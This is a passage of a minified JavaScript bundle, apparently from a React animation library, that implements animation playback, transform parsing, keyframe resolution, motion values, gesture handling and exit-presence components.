n=this.playbackSpeed!==t;this.playbackSpeed=t,n&&(this.time=ns(this.currentTime))}play(){if(this.isStopped)return;const{driver:t=jP,startTime:n}=this.options;this.driver||(this.driver=t(i=>this.tick(i))),this.options.onPlay?.();const s=this.driver.now();this.state==="finished"?(this.updateFinished(),this.startTime=s):this.holdTime!==null?this.startTime=s-this.holdTime:this.startTime||(this.startTime=n??s),this.state==="finished"&&this.speed<0&&(this.startTime+=this.calculatedDuration),this.holdTime=null,this.state="running",this.driver.start()}pause(){this.state="paused",this.updateTime(ya.now()),this.holdTime=this.currentTime}complete(){this.state!=="running"&&this.play(),this.state="finished",this.holdTime=null}finish(){this.notifyFinished(),this.teardown(),this.state="finished",this.options.onComplete?.()}cancel(){this.holdTime=null,this.startTime=0,this.tick(0),this.teardown(),this.options.onCancel?.()}teardown(){this.state="idle",this.stopDriver(),this.startTime=this.holdTime=null}stopDriver(){this.driver&&(this.driver.stop(),this.driver=void 0)}sample(t){return this.startTime=0,this.tick(t,!0)}attachTimeline(t){return this.options.allowFlatten&&(this.options.type="keyframes",this.options.ease="linear",this.initAnimation()),this.driver?.stop(),t.observe(this)}}function qP(e){for(let t=1;t<e.length;t++)e[t]??(e[t]=e[t-1])}const Qi=e=>e*180/Math.PI,Fg=e=>{const t=Qi(Math.atan2(e[1],e[0]));return Og(t)},$P={x:4,y:5,translateX:4,translateY:5,scaleX:0,scaleY:3,scale:e=>(Math.abs(e[0])+Math.abs(e[3]))/2,rotate:Fg,rotateZ:Fg,skewX:e=>Qi(Math.atan(e[1])),skewY:e=>Qi(Math.atan(e[2])),skew:e=>(Math.abs(e[1])+Math.abs(e[2]))/2},Og=e=>(e=e%360,e<0&&(e+=360),e),Q4=Fg,Z4=e=>Math.sqrt(e[0]*e[0]+e[1]*e[1]),J4=e=>Math.sqrt(e[4]*e[4]+e[5]*e[5]),GP={x:12,y:13,z:14,translateX:12,translateY:13,translateZ:14,scaleX:Z4,scaleY:J4,scale:e=>(Z4(e)+J4(e))/2,rotateX:e=>Og(Qi(Math.atan2(e[6],e[5]))),rotateY:e=>Og(Qi(Math.atan2(-e[2],e[0]))),rotateZ:Q4,rotate:Q4,skewX:e=>Qi(Math.atan(e[4])),skewY:e=>Qi(Math.atan(e[1])),skew:e=>(Math.abs(e[1])+Math.abs(e[4]))/2};function Lg(e){return e.includes("scale")?1:0}function Pg(e,t){if(!e||e==="none")return Lg(t);const n=e.match(/^matrix3d\(([-\d.e\s,]+)\)$/u);let s,i;if(n)s=GP,i=n;else{const d=e.match(/^matrix\(([-\d.e\s,]+)\)$/u);s=$P,i=d}if(!i)return Lg(t);const c=s[t],u=i[1].split(",").map(KP);return typeof c=="function"?c(u):u[c]}const YP=(e,t)=>{const{transform:n="none"}=getComputedStyle(e);return Pg(n,t)};function KP(e){return parseFloat(e.trim())}const Hl=["transformPerspective","x","y","z","translateX","translateY","translateZ","scale","scaleX","scaleY","rotate","rotateX","rotateY","rotateZ","skew","skewX","skewY"],ql=new Set(Hl),eS=e=>e===Il||e===et,XP=new Set(["x","y","z"]),WP=Hl.filter(e=>!XP.has(e));function QP(e){const t=[];return WP.forEach(n=>{const s=e.getValue(n);s!==void 0&&(t.push([n,s.get()]),s.set(n.startsWith("scale")?1:0))}),t}const no={width:({x:e},{paddingLeft:t="0",paddingRight:n="0"})=>e.max-e.min-parseFloat(t)-parseFloat(n),height:({y:e},{paddingTop:t="0",paddingBottom:n="0"})=>e.max-e.min-parseFloat(t)-parseFloat(n),top:(e,{top:t})=>parseFloat(t),left:(e,{left:t})=>parseFloat(t),bottom:({y:e},{top:t})=>parseFloat(t)+(e.max-e.min),right:({x:e},{left:t})=>parseFloat(t)+(e.max-e.min),x:(e,{transform:t})=>Pg(t,"x"),y:(e,{transform:t})=>Pg(t,"y")};no.translateX=no.x;no.translateY=no.y;const ao=new Set;let zg=!1,Vg=!1,Ug=!1;function KA(){if(Vg){const e=Array.from(ao).filter(s=>s.needsMeasurement),t=new Set(e.map(s=>s.element)),n=new Map;t.forEach(s=>{const i=QP(s);i.length&&(n.set(s,i),s.render())}),e.forEach(s=>s.measureInitialState()),t.forEach(s=>{s.render();const i=n.get(s);i&&i.forEach(([c,u])=>{s.getValue(c)?.set(u)})}),e.forEach(s=>s.measureEndState()),e.forEach(s=>{s.suspendedScrollY!==void 0&&window.scrollTo(0,s.suspendedScrollY)})}Vg=!1,zg=!1,ao.forEach(e=>e.complete(Ug)),ao.clear()}function XA(){ao.forEach(e=>{e.readKeyframes(),e.needsMeasurement&&(Vg=!0)})}function ZP(){Ug=!0,XA(),KA(),Ug=!1}class gy{constructor(t,n,s,i,c,u=!1){this.state="pending",this.isAsync=!1,this.needsMeasurement=!1,this.unresolvedKeyframes=[...t],this.onComplete=n,this.name=s,this.motionValue=i,this.element=c,this.isAsync=u}scheduleResolve(){this.state="scheduled",this.isAsync?(ao.add(this),zg||(zg=!0,Xt.read(XA),Xt.resolveKeyframes(KA))):(this.readKeyframes(),this.complete())}readKeyframes(){const{unresolvedKeyframes:t,name:n,element:s,motionValue:i}=this;if(t[0]===null){const c=i?.get(),u=t[t.length-1];if(c!==void 0)t[0]=c;else if(s&&n){const d=s.readValue(n,u);d!=null&&(t[0]=d)}t[0]===void 0&&(t[0]=u),i&&c===void 0&&i.set(t[0])}qP(t)}setFinalKeyframe(){}measureInitialState(){}renderEndStyles(){}measureEndState(){}complete(t=!1){this.state="complete",this.onComplete(this.unresolvedKeyframes,this.finalKeyframe,t),ao.delete(this)}cancel(){this.state==="scheduled"&&(ao.delete(this),this.state="pending")}resume(){this.state==="pending"&&this.scheduleResolve()}}const JP=e=>e.startsWith("--");function ez(e,t,n){JP(t)?e.style.setProperty(t,n):e.style[t]=n}const tz=sy(()=>window.ScrollTimeline!==void 0),nz={};function az(e,t){const n=sy(e);return()=>nz[t]??n()}const WA=az(()=>{try{document.createElement("div").animate({opacity:0},{easing:"linear(0, 1)"})}catch{return!1}return!0},"linearEasing"),Xc=([e,t,n,s])=>`cubic-bezier(${e}, ${t}, ${n}, ${s})`,tS={linear:"linear",ease:"ease",easeIn:"ease-in",easeOut:"ease-out",easeInOut:"ease-in-out",circIn:Xc([0,.65,.55,1]),circOut:Xc([.55,0,1,.45]),backIn:Xc([.31,.01,.66,-.59]),backOut:Xc([.33,1.53,.69,.99])};function QA(e,t){if(e)return typeof e=="function"?WA()?$A(e,t):"ease-out":FA(e)?Xc(e):Array.isArray(e)?e.map(n=>QA(n,t)||tS.easeOut):tS[e]}function sz(e,t,n,{delay:s=0,duration:i=300,repeat:c=0,repeatType:u="loop",ease:d="easeOut",times:m}={},h=void 0){const p={[t]:n};m&&(p.offset=m);const x=QA(d,i);Array.isArray(x)&&(p.easing=x);const g={delay:s,duration:i,easing:Array.isArray(x)?"linear":x,fill:"both",iterations:c+1,direction:u==="reverse"?"alternate":"normal"};return h&&(g.pseudoElement=h),e.animate(p,g)}function ZA(e){return typeof e=="function"&&"applyToOptions"in e}function rz({type:e,...t}){return ZA(e)&&WA()?e.applyToOptions(t):(t.duration??(t.duration=300),t.ease??(t.ease="easeOut"),t)}class iz extends py{constructor(t){if(super(),this.finishedTime=null,this.isStopped=!1,!t)return;const{element:n,name:s,keyframes:i,pseudoElement:c,allowFlatten:u=!1,finalKeyframe:d,onComplete:m}=t;this.isPseudoElement=!!c,this.allowFlatten=u,this.options=t,ay(typeof t.type!="string");const h=rz(t);this.animation=sz(n,s,i,h,c),h.autoplay===!1&&this.animation.pause(),this.animation.onfinish=()=>{if(this.finishedTime=this.time,!c){const p=my(i,this.options,d,this.speed);this.updateMotionValue?this.updateMotionValue(p):ez(n,s,p),this.animation.cancel()}m?.(),this.notifyFinished()}}play(){this.isStopped||(this.animation.play(),this.state==="finished"&&this.updateFinished())}pause(){this.animation.pause()}complete(){this.animation.finish?.()}cancel(){try{this.animation.cancel()}catch{}}stop(){if(this.isStopped)return;this.isStopped=!0;const{state:t}=this;t==="idle"||t==="finished"||(this.updateMotionValue?this.updateMotionValue():this.commitStyles(),this.isPseudoElement||this.cancel())}commitStyles(){this.isPseudoElement||this.animation.commitStyles?.()}get duration(){const t=this.animation.effect?.getComputedTiming?.().duration||0;return ns(Number(t))}get iterationDuration(){const{delay:t=0}=this.options||{};return this.duration+ns(t)}get time(){return ns(Number(this.animation.currentTime)||0)}set time(t){this.finishedTime=null,this.animation.currentTime=Us(t)}get speed(){return this.animation.playbackRate}set speed(t){t<0&&(this.finishedTime=null),this.animation.playbackRate=t}get state(){return this.finishedTime!==null?"finished":this.animation.playState}get startTime(){return Number(this.animation.startTime)}set startTime(t){this.animation.startTime=t}attachTimeline({timeline:t,observe:n}){return this.allowFlatten&&this.animation.effect?.updateTiming({easing:"linear"}),this.animation.onfinish=null,t&&tz()?(this.animation.timeline=t,as):n(this)}}const JA={anticipate:_A,backInOut:RA,circInOut:BA};function oz(e){return e in JA}function lz(e){typeof e.ease=="string"&&oz(e.ease)&&(e.ease=JA[e.ease])}const nS=10;class cz extends iz{constructor(t){lz(t),YA(t),super(t),t.startTime&&(this.startTime=t.startTime),this.options=t}updateMotionValue(t){const{motionValue:n,onUpdate:s,onComplete:i,element:c,...u}=this.options;if(!n)return;if(t!==void 0){n.set(t);return}const d=new xy({...u,autoplay:!1}),m=Us(this.finishedTime??this.time);n.setWithVelocity(d.sample(m-nS).value,d.sample(m).value,nS),d.stop()}}const aS=(e,t)=>t==="zIndex"?!1:!!(typeof e=="number"||Array.isArray(e)||typeof e=="string"&&(mi.test(e)||e==="0")&&!e.startsWith("url("));function uz(e){const t=e[0];if(e.length===1)return!0;for(let n=0;n<e.length;n++)if(e[n]!==t)return!0}function dz(e,t,n,s){const i=e[0];if(i===null)return!1;if(t==="display"||t==="visibility")return!0;const c=e[e.length-1],u=aS(i,t),d=aS(c,t);return!u||!d?!1:uz(e)||(n==="spring"||ZA(n))&&s}function Ig(e){e.duration=0,e.type="keyframes"}const fz=new Set(["opacity","clipPath","filter","transform"]),hz=sy(()=>Object.hasOwnProperty.call(Element.prototype,"animate"));function mz(e){const{motionValue:t,name:n,repeatDelay:s,repeatType:i,damping:c,type:u}=e;if(!(t?.owner?.current instanceof HTMLElement))return!1;const{onUpdate:m,transformTemplate:h}=t.owner.getProps();return hz()&&n&&fz.has(n)&&(n!=="transform"||!h)&&!m&&!s&&i!=="mirror"&&c!==0&&u!=="inertia"}const pz=40;class xz extends py{constructor({autoplay:t=!0,delay:n=0,type:s="keyframes",repeat:i=0,repeatDelay:c=0,repeatType:u="loop",keyframes:d,name:m,motionValue:h,element:p,...x}){super(),this.stop=()=>{this._animation&&(this._animation.stop(),this.stopTimeline?.()),this.keyframeResolver?.cancel()},this.createdAt=ya.now();const g={autoplay:t,delay:n,type:s,repeat:i,repeatDelay:c,repeatType:u,name:m,motionValue:h,element:p,...x},y=p?.KeyframeResolver||gy;this.keyframeResolver=new y(d,(w,S,N)=>this.onKeyframesResolved(w,S,g,!N),m,h,p),this.keyframeResolver?.scheduleResolve()}onKeyframesResolved(t,n,s,i){this.keyframeResolver=void 0;const{name:c,type:u,velocity:d,delay:m,isHandoff:h,onUpdate:p}=s;this.resolvedAt=ya.now(),dz(t,c,u,d)||((jr.instantAnimations||!m)&&p?.(my(t,s,n)),t[0]=t[t.length-1],Ig(s),s.repeat=0);const g={startTime:i?this.resolvedAt?this.resolvedAt-this.createdAt>pz?this.resolvedAt:this.createdAt:this.createdAt:void 0,finalKeyframe:n,...s,keyframes:t},y=!h&&mz(g)?new cz({...g,element:g.motionValue.owner.current}):new xy(g);y.finished.then(()=>this.notifyFinished()).catch(as),this.pendingTimeline&&(this.stopTimeline=y.attachTimeline(this.pendingTimeline),this.pendingTimeline=void 0),this._animation=y}get finished(){return this._animation?this.animation.finished:this._finished}then(t,n){return this.finished.finally(t).then(()=>{})}get animation(){return this._animation||(this.keyframeResolver?.resume(),ZP()),this._animation}get duration(){return this.animation.duration}get iterationDuration(){return this.animation.iterationDuration}get time(){return this.animation.time}set time(t){this.animation.time=t}get speed(){return this.animation.speed}get state(){return this.animation.state}set speed(t){this.animation.speed=t}get startTime(){return this.animation.startTime}attachTimeline(t){return this._animation?this.stopTimeline=this.animation.attachTimeline(t):this.pendingTimeline=t,()=>this.stop()}play(){this.animation.play()}pause(){this.animation.pause()}complete(){this.animation.complete()}cancel(){this._animation&&this.animation.cancel(),this.keyframeResolver?.cancel()}}const gz=/^var\(--(?:([\w-]+)|([\w-]+), ?([a-zA-Z\d ()%#.,-]+))\)/u;function vz(e){const t=gz.exec(e);if(!t)return[,];const[,n,s,i]=t;return[`--${n??s}`,i]}function e3(e,t,n=1){const[s,i]=vz(e);if(!s)return;const c=window.getComputedStyle(t).getPropertyValue(s);if(c){const u=c.trim();return CA(u)?parseFloat(u):u}return cy(i)?e3(i,t,n+1):i}function vy(e,t){return e?.[t]??e?.default??e}const t3=new Set(["width","height","top","left","right","bottom",...Hl]),yz={test:e=>e==="auto",parse:e=>e},n3=e=>t=>t.test(e),a3=[Il,et,Is,ni,uP,cP,yz],sS=e=>a3.find(n3(e));function bz(e){return typeof e=="number"?e===0:e!==null?e==="none"||e==="0"||NA(e):!0}const wz=new Set(["brightness","contrast","saturate","opacity"]);function Cz(e){const[t,n]=e.slice(0,-1).split("(");if(t==="drop-shadow")return e;const[s]=n.match(uy)||[];if(!s)return e;const i=n.replace(s,"");let c=wz.has(t)?1:0;return s!==n&&(c*=100),t+"("+c+i+")"}const Sz=/\b([a-z-]*)\(.*?\)/gu,Hg={...mi,getAnimatableNone:e=>{const t=e.match(Sz);return t?t.map(Cz).join(" "):e}},rS={...Il,transform:Math.round},Nz={rotate:ni,rotateX:ni,rotateY:ni,rotateZ:ni,scale:Df,scaleX:Df,scaleY:Df,scaleZ:Df,skew:ni,skewX:ni,skewY:ni,distance:et,translateX:et,translateY:et,translateZ:et,x:et,y:et,z:et,perspective:et,transformPerspective:et,opacity:gu,originX:G4,originY:G4,originZ:et},yy={borderWidth:et,borderTopWidth:et,borderRightWidth:et,borderBottomWidth:et,borderLeftWidth:et,borderRadius:et,radius:et,borderTopLeftRadius:et,borderTopRightRadius:et,borderBottomRightRadius:et,borderBottomLeftRadius:et,width:et,maxWidth:et,height:et,maxHeight:et,top:et,right:et,bottom:et,left:et,padding:et,paddingTop:et,paddingRight:et,paddingBottom:et,paddingLeft:et,margin:et,marginTop:et,marginRight:et,marginBottom:et,marginLeft:et,backgroundPositionX:et,backgroundPositionY:et,...Nz,zIndex:rS,fillOpacity:gu,strokeOpacity:gu,numOctaves:rS},Ez={...yy,color:En,backgroundColor:En,outlineColor:En,fill:En,stroke:En,borderColor:En,borderTopColor:En,borderRightColor:En,borderBottomColor:En,borderLeftColor:En,filter:Hg,WebkitFilter:Hg},s3=e=>Ez[e];function r3(e,t){let n=s3(e);return n!==Hg&&(n=mi),n.getAnimatableNone?n.getAnimatableNone(t):void 0}const jz=new Set(["auto","none","0"]);function Az(e,t,n){let s=0,i;for(;s<e.length&&!i;){const c=e[s];typeof c=="string"&&!jz.has(c)&&vu(c).values.length&&(i=e[s]),s++}if(i&&n)for(const c of t)e[c]=r3(n,i)}class Tz extends gy{constructor(t,n,s,i,c){super(t,n,s,i,c,!0)}readKeyframes(){const{unresolvedKeyframes:t,element:n,name:s}=this;if(!n||!n.current)return;super.readKeyframes();for(let m=0;m<t.length;m++){let h=t[m];if(typeof h=="string"&&(h=h.trim(),cy(h))){const p=e3(h,n.current);p!==void 0&&(t[m]=p),m===t.length-1&&(this.finalKeyframe=h)}}if(this.resolveNoneKeyframes(),!t3.has(s)||t.length!==2)return;const[i,c]=t,u=sS(i),d=sS(c);if(u!==d)if(eS(u)&&eS(d))for(let m=0;m<t.length;m++){const h=t[m];typeof h=="string"&&(t[m]=parseFloat(h))}else no[s]&&(this.needsMeasurement=!0)}resolveNoneKeyframes(){const{unresolvedKeyframes:t,name:n}=this,s=[];for(let i=0;i<t.length;i++)(t[i]===null||bz(t[i]))&&s.push(i);s.length&&Az(t,s,n)}measureInitialState(){const{element:t,unresolvedKeyframes:n,name:s}=this;if(!t||!t.current)return;s==="height"&&(this.suspendedScrollY=window.pageYOffset),this.measuredOrigin=no[s](t.measureViewportBox(),window.getComputedStyle(t.current)),n[0]=this.measuredOrigin;const i=n[n.length-1];i!==void 0&&t.getValue(s,i).jump(i,!1)}measureEndState(){const{element:t,name:n,unresolvedKeyframes:s}=this;if(!t||!t.current)return;const i=t.getValue(n);i&&i.jump(this.measuredOrigin,!1);const c=s.length-1,u=s[c];s[c]=no[n](t.measureViewportBox(),window.getComputedStyle(t.current)),u!==null&&this.finalKeyframe===void 0&&(this.finalKeyframe=u),this.removedTransforms?.length&&this.removedTransforms.forEach(([d,m])=>{t.getValue(d).set(m)}),this.resolveNoneKeyframes()}}function Dz(e,t,n){if(e instanceof EventTarget)return[e];if(typeof e=="string"){let s=document;const i=n?.[e]??s.querySelectorAll(e);return i?Array.from(i):[]}return Array.from(e)}const i3=(e,t)=>t&&typeof e=="number"?t.transform(e):e;function o3(e){return SA(e)&&"offsetHeight"in e}const iS=30,Rz=e=>!isNaN(parseFloat(e));class _z{constructor(t,n={}){this.canTrackVelocity=null,this.events={},this.updateAndNotify=s=>{const i=ya.now();if(this.updatedAt!==i&&this.setPrevFrameValue(),this.prev=this.current,this.setCurrent(s),this.current!==this.prev&&(this.events.change?.notify(this.current),this.dependents))for(const c of this.dependents)c.dirty()},this.hasAnimated=!1,this.setCurrent(t),this.owner=n.owner}setCurrent(t){this.current=t,this.updatedAt=ya.now(),this.canTrackVelocity===null&&t!==void 0&&(this.canTrackVelocity=Rz(this.current))}setPrevFrameValue(t=this.current){this.prevFrameValue=t,this.prevUpdatedAt=this.updatedAt}onChange(t){return this.on("change",t)}on(t,n){this.events[t]||(this.events[t]=new ry);const s=this.events[t].add(n);return t==="change"?()=>{s(),Xt.read(()=>{this.events.change.getSize()||this.stop()})}:s}clearListeners(){for(const t in this.events)this.events[t].clear()}attach(t,n){this.passiveEffect=t,this.stopPassiveEffect=n}set(t){this.passiveEffect?this.passiveEffect(t,this.updateAndNotify):this.updateAndNotify(t)}setWithVelocity(t,n,s){this.set(n),this.prev=void 0,this.prevFrameValue=t,this.prevUpdatedAt=this.updatedAt-s}jump(t,n=!0){this.updateAndNotify(t),this.prev=t,this.prevUpdatedAt=this.prevFrameValue=void 0,n&&this.stop(),this.stopPassiveEffect&&this.stopPassiveEffect()}dirty(){this.events.change?.notify(this.current)}addDependent(t){this.dependents||(this.dependents=new Set),this.dependents.add(t)}removeDependent(t){this.dependents&&this.dependents.delete(t)}get(){return this.current}getPrevious(){return this.prev}getVelocity(){const t=ya.now();if(!this.canTrackVelocity||this.prevFrameValue===void 0||t-this.updatedAt>iS)return 0;const n=Math.min(this.updatedAt-this.prevUpdatedAt,iS);return EA(parseFloat(this.current)-parseFloat(this.prevFrameValue),n)}start(t){return this.stop(),new Promise(n=>{this.hasAnimated=!0,this.animation=t(n),this.events.animationStart&&this.events.animationStart.notify()}).then(()=>{this.events.animationComplete&&this.events.animationComplete.notify(),this.clearAnimation()})}stop(){this.animation&&(this.animation.stop(),this.events.animationCancel&&this.events.animationCancel.notify()),this.clearAnimation()}isAnimating(){return!!this.animation}clearAnimation(){delete this.animation}destroy(){this.dependents?.clear(),this.events.destroy?.notify(),this.clearListeners(),this.stop(),this.stopPassiveEffect&&this.stopPassiveEffect()}}function _l(e,t){return new _z(e,t)}const{schedule:by}=OA(queueMicrotask,!1),hs={x:!1,y:!1};function l3(){return hs.x||hs.y}function kz(e){return e==="x"||e==="y"?hs[e]?null:(hs[e]=!0,()=>{hs[e]=!1}):hs.x||hs.y?null:(hs.x=hs.y=!0,()=>{hs.x=hs.y=!1})}function c3(e,t){const n=Dz(e),s=new AbortController,i={passive:!0,...t,signal:s.signal};return[n,i,()=>s.abort()]}function oS(e){return!(e.pointerType==="touch"||l3())}function Bz(e,t,n={}){const[s,i,c]=c3(e,n),u=d=>{if(!oS(d))return;const{target:m}=d,h=t(m,d);if(typeof h!="function"||!m)return;const p=x=>{oS(x)&&(h(x),m.removeEventListener("pointerleave",p))};m.addEventListener("pointerleave",p,i)};return s.forEach(d=>{d.addEventListener("pointerenter",u,i)}),c}const u3=(e,t)=>t?e===t?!0:u3(e,t.parentElement):!1,wy=e=>e.pointerType==="mouse"?typeof e.button!="number"||e.button<=0:e.isPrimary!==!1,Mz=new Set(["BUTTON","INPUT","SELECT","TEXTAREA","A"]);function Fz(e){return Mz.has(e.tagName)||e.tabIndex!==-1}const _0=new WeakSet;function lS(e){return t=>{t.key==="Enter"&&e(t)}}function Ox(e,t){e.dispatchEvent(new PointerEvent("pointer"+t,{isPrimary:!0,bubbles:!0}))}const Oz=(e,t)=>{const n=e.currentTarget;if(!n)return;const s=lS(()=>{if(_0.has(n))return;Ox(n,"down");const i=lS(()=>{Ox(n,"up")}),c=()=>Ox(n,"cancel");n.addEventListener("keyup",i,t),n.addEventListener("blur",c,t)});n.addEventListener("keydown",s,t),n.addEventListener("blur",()=>n.removeEventListener("keydown",s),t)};function cS(e){return wy(e)&&!l3()}function Lz(e,t,n={}){const[s,i,c]=c3(e,n),u=d=>{const m=d.currentTarget;if(!cS(d))return;_0.add(m);const h=t(m,d),p=(y,w)=>{window.removeEventListener("pointerup",x),window.removeEventListener("pointercancel",g),_0.has(m)&&_0.delete(m),cS(y)&&typeof h=="function"&&h(y,{success:w})},x=y=>{p(y,m===window||m===document||n.useGlobalTarget||u3(m,y.target))},g=y=>{p(y,!1)};window.addEventListener("pointerup",x,i),window.addEventListener("pointercancel",g,i)};return s.forEach(d=>{(n.useGlobalTarget?window:d).addEventListener("pointerdown",u,i),o3(d)&&(d.addEventListener("focus",h=>Oz(h,i)),!Fz(d)&&!d.hasAttribute("tabindex")&&(d.tabIndex=0))}),c}function d3(e){return SA(e)&&"ownerSVGElement"in e}function Pz(e){return d3(e)&&e.tagName==="svg"}const Jn=e=>!!(e&&e.getVelocity),zz=[...a3,En,mi],Vz=e=>zz.find(n3(e)),Cy=C.createContext({transformPagePoint:e=>e,isStatic:!1,reducedMotion:"never"});function uS(e,t){if(typeof e=="function")return e(t);e!=null&&(e.current=t)}function Uz(...e){return t=>{let n=!1;const s=e.map(i=>{const c=uS(i,t);return!n&&typeof c=="function"&&(n=!0),c});if(n)return()=>{for(let i=0;i<s.length;i++){const c=s[i];typeof c=="function"?c():uS(e[i],null)}}}}function Iz(...e){return C.useCallback(Uz(...e),e)}class Hz extends C.Component{getSnapshotBeforeUpdate(t){const n=this.props.childRef.current;if(n&&t.isPresent&&!this.props.isPresent){const s=n.offsetParent,i=o3(s)&&s.offsetWidth||0,c=this.props.sizeRef.current;c.height=n.offsetHeight||0,c.width=n.offsetWidth||0,c.top=n.offsetTop,c.left=n.offsetLeft,c.right=i-c.width-c.left}return null}componentDidUpdate(){}render(){return this.props.children}}function qz({children:e,isPresent:t,anchorX:n,root:s}){const i=C.useId(),c=C.useRef(null),u=C.useRef({width:0,height:0,top:0,left:0,right:0}),{nonce:d}=C.useContext(Cy),m=Iz(c,e?.ref);return C.useInsertionEffect(()=>{const{width:h,height:p,top:x,left:g,right:y}=u.current;if(t||!c.current||!h||!p)return;const w=n==="left"?`left: ${g}`:`right: ${y}`;c.current.dataset.motionPopId=i;const S=document.createElement("style");d&&(S.nonce=d);const N=s??document.head;return N.appendChild(S),S.sheet&&S.sheet.insertRule(`
          [data-motion-pop-id="${i}"] {
            position: absolute !important;
            width: ${h}px !important;
            height: ${p}px !important;
            ${w}px !important;
            top: ${x}px !important;
          }
        `),()=>{N.contains(S)&&N.removeChild(S)}},[t]),o.jsx(Hz,{isPresent:t,childRef:c,sizeRef:u,children:C.cloneElement(e,{ref:m})})}const $z=({children:e,initial:t,isPresent:n,onExitComplete:s,custom:i,presenceAffectsLayout:c,mode:u,anchorX:d,root:m})=>{const h=Jv(Gz),p=C.useId();let x=!0,g=C.useMemo(()=>(x=!1,{id:p,initial:t,isPresent:n,custom:i,onExitComplete:y=>{h.set(y,!0);for(const w of h.values())if(!w)return;s&&s()},register:y=>(h.set(y,!1),()=>h.delete(y))}),[n,h,s]);return c&&x&&(g={...g}),C.useMemo(()=>{h.forEach((y,w)=>h.set(w,!1))},[n]),C.useEffect(()=>{!n&&!h.size&&s&&s()},[n]),u==="popLayout"&&(e=o.jsx(qz,{isPresent:n,anchorX:d,root:m,children:e})),o.jsx(Dh.Provider,{value:g,children:e})};function Gz(){return new Map}function f3(e=!0){const t=C.useContext(Dh);if(t===null)return[!0,null];const{isPresent:n,onExitComplete:s,register:i}=t,c=C.useId();C.useEffect(()=>{if(e)return i(c)},[e]);const u=C.useCallback(()=>e&&s&&s(c),[c,s,e]);return!n&&s?[!1,u]:[!0]}const Rf=e=>e.key||"";function dS(e){const t=[];return C.Children.forEach(e,n=>{C.isValidElement(n)&&t.push(n)}),t}const Yz=({children:e,custom:t,initial:n=!0,onExitComplete:s,presenceAffectsLayout:i=!0,mode:c="sync",propagate:u=!1,anchorX:d="left",root:m})=>{const[h,p]=f3(u),x=C.useMemo(()=>dS(e),[e]),g=u&&!h?[]:x.map(Rf),y=C.useRef(!0),w=C.useRef(x),S=Jv(()=>new Map),[N,T]=C.useState(x),[E,A]=C.useState(x);wA(()=>{y.current=!1,w.current=x;for(let D=0;D<E.length;D++){const k=Rf(E[D]);g.includes(k)?S.delete(k):S.get(k)!==!0&&S.set(k,!1)}},[E,g.length,g.join("-")]);const j=[];if(x!==N){let D=[...x];for(let k=0;k<E.length;k++){const B=E[k],I=Rf(B);g.includes(I)||(D.splice(k,0,B),j.push(B))}return c==="wait"&&j.length&&(D=j),A(dS(D)),T(x),null}const{forceRender:R}=C.useContext(Zv);return o.jsx(o.Fragment,{children:E.map(D=>{const k=Rf(D),B=u&&!h?!1:x===E||g.includes(k),I=()=>{if(S.has(k))S.set(k,!0);else return;let z=!0;S.forEach(U=>{U||(z=!1)}),z&&(R?.(),A(w.current),u&&p?.(),s&&s())};return o.jsx($z,{isPresent:B,initial:!y.current||n?void 0:!1,custom:t,presenceAffectsLayout:i,mode:c,root:m,onExitComplete:B?void 0:I,anchorX:d,children:D},k)})})},h3=C.createContext({strict:!1}),fS={animation:["animate","variants","whileHover","whileTap","exit","whileInView","whileFocus","whileDrag"],exit:["exit"],drag:["drag","dragControls"],focus:["whileFocus"],hover:["whileHover","onHoverStart","onHoverEnd"],tap:["whileTap","onTap","onTapStart","onTapCancel"],pan:["onPan","onPanStart","onPanSessionStart","onPanEnd"],inView:["whileInView","onViewportEnter","onViewportLeave"],layout:["layout","layoutId"]},kl={};for(const e in fS)kl[e]={isEnabled:t=>fS[e].some(n=>!!t[n])};function Kz(e){for(const t in e)kl[t]={...kl[t],...e[t]}}const Xz=new Set(["animate","exit","variants","initial","style","values","variants","transition","transformTemplate","custom","inherit","onBeforeLayoutMeasure","onAnimationStart","onAnimationComplete","onUpdate","onDragStart","onDrag","onDragEnd","onMeasureDragConstraints","onDirectionLock","onDragTransitionEnd","_dragX","_dragY","onHoverStart","onHoverEnd","onViewportEnter","onViewportLeave","globalTapTarget","ignoreStrict","viewport"]);function Q0(e){return e.startsWith("while")||e.startsWith("drag")&&e!=="draggable"||e.startsWith("layout")||e.startsWith("onTap")||e.startsWith("onPan")||e.startsWith("onLayout")||Xz.has(e)}let m3=e=>!Q0(e);function Wz(e){typeof e=="function"&&(m3=t=>t.startsWith("on")?!Q0(t):e(t))}try{Wz(require("@emotion/is-prop-valid").default)}catch{}function Qz(e,t,n){const s={};for(const i in e)i==="values"&&typeof e.values=="object"||(m3(i)||n===!0&&Q0(i)||!t&&!Q0(i)||e.draggable&&i.startsWith("onDrag"))&&(s[i]=e[i]);return s}const Rh=C.createContext({});function _h(e){return e!==null&&typeof e=="object"&&typeof e.start=="function"}function yu(e){return typeof e=="string"||Array.isArray(e)}const Sy=["animate","whileInView","whileFocus","whileHover","whileTap","whileDrag","exit"],Ny=["initial",...Sy];function kh(e){return _h(e.animate)||Ny.some(t=>yu(e[t]))}function p3(e){return!!(kh(e)||e.variants)}function Zz(e,t){if(kh(e)){const{initial:n,animate:s}=e;return{initial:n===!1||yu(n)?n:void 0,animate:yu(s)?s:void 0}}return e.inherit!==!1?t:{}}function Jz(e){const{initial:t,animate:n}=Zz(e,C.useContext(Rh));return C.useMemo(()=>({initial:t,animate:n}),[hS(t),hS(n)])}function hS(e){return Array.isArray(e)?e.join(" "):e}const bu={};function eV(e){for(const t in e)bu[t]=e[t],ly(t)&&(bu[t].isCSSVariable=!0)}function x3(e,{layout:t,layoutId:n}){return ql.has(e)||e.startsWith("origin")||(t||n!==void 0)&&(!!bu[e]||e==="opacity")}const tV={x:"translateX",y:"translateY",z:"translateZ",transformPerspective:"perspective"},nV=Hl.length;function aV(e,t,n){let s="",i=!0;for(let c=0;c<nV;c++){const u=Hl[c],d=e[u];if(d===void 0)continue;let m=!0;if(typeof d=="number"?m=d===(u.startsWith("scale")?1:0):m=parseFloat(d)===0,!m||n){const h=i3(d,yy[u]);if(!m){i=!1;const p=tV[u]||u;s+=`${p}(${h}) `}n&&(t[u]=h)}}return s=s.trim(),n?s=n(t,i?"":s):i&&(s="none"),s}function Ey(e,t,n){const{style:s,vars:i,transformOrigin:c}=e;let u=!1,d=!1;for(const m in t){const h=t[m];if(ql.has(m)){u=!0;continue}else if(ly(m)){i[m]=h;continue}else{const p=i3(h,yy[m]);m.startsWith("origin")?(d=!0,c[m]=p):s[m]=p}}if(t.transform||(u||n?s.transform=aV(t,e.transform,n):s.transform&&(s.transform="none")),d){const{originX:m="50%",originY:h="50%",originZ:p=0}=c;s.transformOrigin=`${m} ${h} ${p}`}}const 